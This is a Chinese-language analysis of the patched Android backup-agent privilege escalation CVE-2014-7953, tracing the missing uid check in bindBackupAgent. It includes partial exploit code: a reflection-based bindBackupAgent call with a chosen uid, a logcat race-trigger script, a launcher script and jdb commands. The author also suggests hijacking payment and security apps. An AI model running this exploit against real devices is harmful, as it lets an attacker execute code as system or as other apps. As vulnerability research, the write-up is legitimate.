0x00 摘要

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CVE-2014-7953是存在於android backup agent中的一個提權漏洞。ActivityManagerService中的bindBackupAgent方法未能校驗傳入的uid引數，結合另外一個race condition利用技巧，攻擊者可以以任意uid(應用)身份執行程式碼，包括system(uid 1000)。本文對該漏洞進行了詳細分析，並給出了利用EXP。攻擊的前提條件是需要有android.permission.BACKUP和INSTALL_PACKAGES，而adb shell是一個滿足條件的attack surface。

0x01 背景介紹

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BackupService是Android中提供的備份功能，在備份操作中，系統的BackupManager從目標應用獲取對方指定的備份資料，然後交給BackupTransport進行資料傳輸。在恢復備份操作中，BackupManager從Transport中拿回資料並傳遞給目標應用進行恢復。常見的場景是使用者應用的資料備份到Google Cloud，使用者在新手機上登入Google賬號時資料就被自動恢復回去。

當然想使用備份功能的應用必須實現BackupAgent元件，繼承BackupAgent類或者BackupAgentHelper類，並在AndroidManifest.xml中宣告自己，還需要向一個BackupService註冊。

在BackupManager進行備份或恢復時，其會以目標應用BackupAgent為內容啟動目標應用程式，呼叫其onCreate函式，以方便其進行具體的應用邏輯相關的備份和恢復操作。

0x02 漏洞成因

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在上文的鋪墊之後，我們來看這個漏洞的成因。前面提到BackupAgent會在進行恢復時被呼叫，具體到ActivityManagerService中的bindBackupAgent函式：

#!java
// Cause the target app to be launched if necessary and its backup agent
12819    // instantiated.  The backup agent will invoke backupAgentCreated() on the
12820    // activity manager to announce its creation.
12821    public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
12822        if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
12823        enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
12824
12825        synchronized(this) {
/*...*/
12833            // Backup agent is now in use, its package can't be stopped.
12834            try {
12835                AppGlobals.getPackageManager().setPackageStoppedState(
12836                        app.packageName, false, UserHandle.getUserId(app.uid));
12837            } catch (RemoteException e) {
12838            } catch (IllegalArgumentException e) {
12839                Slog.w(TAG, "Failed trying to unstop package "
12840                        + app.packageName + ": " + e);
12841            }
12842
12843            BackupRecord r = new BackupRecord(ss, app, backupMode);
12844            ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845                    ? new ComponentName(app.packageName, app.backupAgentName)
12846                    : new ComponentName("android", "FullBackupAgent");
12847            // startProcessLocked() returns existing proc's record if it's already running
12848            ProcessRecord proc = startProcessLocked(app.processName, app,
12849                    false, 0, "backup", hostingName, false, false, false);
12850            if (proc == null) {
12851                Slog.e(TAG, "Unable to start backup agent process " + r);
12852                return false;
12853            }
12854
12855            r.app = proc;
12856            mBackupTarget = r;
12857            mBackupAppName = app.packageName;
12858
12859            // Try not to kill the process during backup
12860            updateOomAdjLocked(proc);
12861
12862            // If the process is already attached, schedule the creation of the backup agent now.
12863            // If it is not yet live, this will be done when it attaches to the framework.
12864            if (proc.thread != null) {
12865                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
12866                try {
12867                    proc.thread.scheduleCreateBackupAgent(app,
12868                            compatibilityInfoForPackageLocked(app), backupMode);
12869                } catch (RemoteException e) {
12870                    // Will time out on the backup manager side
12871                }
12872            } else {
12873                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
12874            }
12875            // Invariants: at this point, the target app process exists and the application
12876            // is either already running or in the process of coming up.  mBackupTarget and
12877            // mBackupAppName describe the app, so that when it binds back to the AM we
12878            // know that it's scheduled for a backup-agent operation.
12879        }
12880
12881        return true;
12882    }

ActivityManagerService對外透過Binder暴露了這個介面，當然開頭就要求了呼叫者必須持有android.permission.BACKUP許可權，而shell是持有這個許可權的。bindBackupAgent最終會將傳入的攻擊者可控的ApplicationInfo傳遞給startProcessLocked，並最終透過scheduleCreateBackupAgent呼叫其onCreate函式。

而ApplicationInfo中的uid可以被任意指定，這是該漏洞的根本原因。

0x02 漏洞利用

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但是想要利用這個漏洞還會遇到幾個關鍵的問題，需要透過其他方法來繞過。

setPackageStoppedState的許可權檢查

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從程式碼中可以看到，在startProcessLocked之前會先呼叫setPackageStoppedState，將可能正在執行的目標package置Stopped狀態。這要求binder呼叫的發起者持有CHANGE_COMPONENT_ENABLED_STATE許可權，否則會丟擲SecurityException，終止函式執行。很遺憾這是一個系統使用者才持有的許可權，shell是沒有的，強行呼叫會拋如下異常：

但是可以觀察到的是，startPackageStoppedState在丟擲IllegalArgumentException時會被catch住，打一個log並繼續執行，那麼透過PackageManager安裝包時的race condition，或者說TOCTOU，可以打一個時間差。

一個猥瑣的步驟如下：

• 呼叫pm安裝包，在安裝過程中某個時刻呼叫bindBackupAgent。

• startPackageStoppedState時，包並不存在，丟擲IllegalArgumentException被catch住並繼續執行。

• startProcessRecord時包卻已經安裝完成了，以攻擊者指定的ApplicationInfo啟動。

正常的情況下，當包存在時，會是如下時序：

包不存在時，會是如下時序。此時process可以被建立出來，但會立即死亡因為找不到load的程式碼。極罕見的情況下可能會停留在FC對話方塊而可以利用。

TOCTOU利用時序圖如下：

這裡面關鍵點是打好時間差，例如可以擴大classes.dex的體積，增加dexopt的時間。在N7上測試成功的POC是透過指令碼監控logcat中Copying native libraries to，在此刻觸發bindBackupAgent呼叫，基本每次都能成功。

handleCreateBackupAgent的檢查

跟一下呼叫鏈：

#!java
        public final void scheduleCreateBackupAgent(ApplicationInfo app,
658                CompatibilityInfo compatInfo, int backupMode) {
659            CreateBackupAgentData d = new CreateBackupAgentData();
660            d.appInfo = app;
661            d.compatInfo = compatInfo;
662            d.backupMode = backupMode;
663
664            sendMessage(H.CREATE_BACKUP_AGENT, d);
665        }

public void handleMessage(Message msg) {
//omit
                case CREATE_BACKUP_AGENT:
1337                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
1338                    handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
1339                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
1340                    break;
//omit
}

// Instantiate a BackupAgent and tell it that it's alive
2428    private void handleCreateBackupAgent(CreateBackupAgentData data) {
2429        if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);
2430
2431        // Sanity check the requested target package's uid against ours
2432        try {
2433            PackageInfo requestedPackage = getPackageManager().getPackageInfo(
2434                    data.appInfo.packageName, 0, UserHandle.myUserId());
2435            if (requestedPackage.applicationInfo.uid != Process.myUid()) {
2436                Slog.w(TAG, "Asked to instantiate non-matching package "
2437                        + data.appInfo.packageName);
2438                return;
2439            }
2440        } catch (RemoteException e) {
2441            Slog.e(TAG, "Can't reach package manager", e);
2442            return;
2443        }
//omit
2448        // instantiate the BackupAgent class named in the manifest
2449        LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
2450        String packageName = packageInfo.mPackageName;
//omit
2461
2462        BackupAgent agent = null;
2463        String classname = data.appInfo.backupAgentName;
2464
2465        // full backup operation but no app-supplied agent?  use the default implementation
2466        if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
2467                || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
2468            classname = "android.app.backup.FullBackupAgent";
2469        }
2470
2471        try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png)

2472            IBinder binder = null;
2473            try {
2474                if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);
2475
2476                java.lang.ClassLoader cl = packageInfo.getClassLoader();
2477                agent = (BackupAgent) cl.loadClass(classname).newInstance();
2478
2479                // set up the agent's context
2480                ContextImpl context = ContextImpl.createAppContext(this, packageInfo);
2481                context.setOuterContext(agent);
2482                agent.attach(context);
2483
2484                agent.onCreate();
2485                binder = agent.onBind();
2486                mBackupAgents.put(packageName, agent);
2487            } catch (Exception e) {
2488                //omit
2496            }
//omit
2508    }
2509

該函式的作用是在Package中尋找定義的BackupAgent類，如果不存在則以android.app.backup.FullBackupAgent代替，並執行其onCreate函式。

如果控制了程式uid為system，在onCreate函式放置我們的程式碼就萬事大吉了。但很遺憾開頭就有一個檢查，對比當前程式的uid(注意ActivityThread的程式碼是在被啟動package的程式空間內執行的，所以Process.myUid即是目標package的uid)和PackageManager在安裝時記錄的uid，不符合則log並退出。這就砍掉了改onCreate利用的想法。

但天無絕人之路，jdwp come to rescure. 程式和VM已經起來了，安裝包的debuggable flag又是攻擊者可指定的，那麼jdwp attach上去執行程式碼，就柳暗花明又一村。

0x03 喜聞樂見的shell...嗎

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順利的話system身份程式已經啟動。

如果我們再去開啟測試應用，會看到兩個不同uid的同package程式並存，如下圖：

這裡會有兩種情況：

• 程式以system的uid啟動，但由於沒有例項化和呼叫onCreate，這個程式是個空殼。這是最常見的情況。

• 程式以system的uid啟動，出現一個Application Crash時的FC對話方塊。有意思的是某些罕見情況下直接訪問backupAgent介面就會觸發該對話方塊。

對於這兩種情況，attach上之後觸發的斷點也並不一樣。對於第一個來說，執行緒會block在nativePollOnce上，如下圖所示：

這種情況利用的一個關鍵因素是需要讓執行緒跳出nativePollOnce，也就是說需要讓其接收到一個訊息，然後才能下斷點執行程式碼, 但詭異之處就在於這時候起的程式是一個空殼，不存在GUI介面，常規的操作觸發和intent觸發都是沒有效果的，這豈不是強人所難？這裡就需要一個任何ActivityThread都會接收到的非GUI事件非元件的事件訊息並觸發它，才能跳出這個輪迴。透過某種猥瑣的方式，是可以做到這點的，讀者可以思考下哪些可以達到這個目的。

第二種則會因為異常捕獲斷在handleApplicationCrash上，這種比較好處理，直接下斷點即可。

總之我們利用intellij或者jdb作為載體，透過jdwp即可以system許可權或者以其他uid的身份執行程式碼。

附效果截圖：

system:

當然我們也可以變幻成什麼xx衛士啊，xx錢盾，xx付寶之類程式的uid，從而控制這些敏感應用。附xx衛士的截圖:

可以看到我們的應用已經和xx衛士是一個uid同床共枕了，接下來怎麼發揮就看諸君想象力了。

0x04 部分POC:

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myapp:

#!java
public class Test {

    public static void main(String []args)
    {
        test(Integer.parseInt(args[0]));
    }

    public static void test(Integer uid)
    {
        try {
            Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");
            Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");

            Object iActivityManager = bindBackupAgent.invoke(null);

            Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);

            ApplicationInfo applicationInfo = new ApplicationInfo();
            applicationInfo.dataDir = "/data/data/com.example.myapp";
            applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";
            applicationInfo.processName = "com.example.myapp";
            applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";
            applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";
            applicationInfo.taskAffinity = "com.example.myapp";
            applicationInfo.packageName = "com.example.myapp";
            applicationInfo.flags = 8961606;
            applicationInfo.uid = uid;
            bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

將其編譯為jar並透過app_process執行。注意在myapp沒有安裝時直接執行會造成後續INSTALL_FAILED_UID_CHANGED錯誤，具體原因可參照我之前寫的denial-of-app分析。

監控py指令碼:

#!python
from subprocess import Popen, PIPE
import os
KW = "Copying native libraries to "
#KW = "dexopt"
os.system("adb logcat -c")
p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
with p.stdout:
    for line in iter(p.stdout.readline, b''):
        if line.find(KW) != -1:
            print line
            os.system("adb shell /data/local/tmp/test.sh 1000")
p.wait()

test.sh

#!bash
export ANDROID_DATA=/data/local/tmp/
export CLASSPATH=/data/local/tmp/MyTest.jar
app_process /data/local/tmp/ com.example.MyTest $@

jdb命令：

#!java
threads
thread 0xxxxxx
suspend
stop in android.os.MessageQueue next
run
print new java.lang.Runtime.exec("id")

0x05 修復:

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Google對該漏洞的修復非常簡單，對bindBackupAgent介面校驗了FULL_BACKUP這個system級別的許可權，砍掉了最初的入口。

References:

• http://www.securityfocus.com/archive/1/535296/30/0/threaded
• http://www.saurik.com/id/17
• http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#12822
• http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java#MessageQueue.nativePollOnce%28int%2Cint%29